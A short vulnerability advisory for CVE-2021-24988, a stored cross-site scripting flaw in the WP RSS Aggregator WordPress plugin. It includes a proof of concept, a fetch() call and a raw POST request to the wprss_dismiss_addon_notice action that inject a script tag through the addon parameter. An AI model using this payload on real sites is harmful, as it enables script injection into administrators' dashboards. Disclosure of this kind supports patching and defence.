WP RSS Aggregator < 4.19.3 – Subscriber+ Stored Cross-Site Scripting | CVE 2021-24988

Description

The plugin does not sanitise and escape data before outputting it in the System Info admin dashboard, which could lead to a Stored XSS issue due to the wprss_dismiss_addon_notice AJAX action missing authorisation and CSRF checks, allowing any authenticated users, such as subscriber to call it and set a malicious payload in the addon parameter.

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "addon=</textarea><script>alert(/XSS/);</script>&notice=b",
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
Cookie: [any authenticated user]

addon=</textarea><script>alert(/XSS/);</script>&notice=b

The XSS will be trigger at https://example.com/wp-admin/admin.php?page=wpra_tools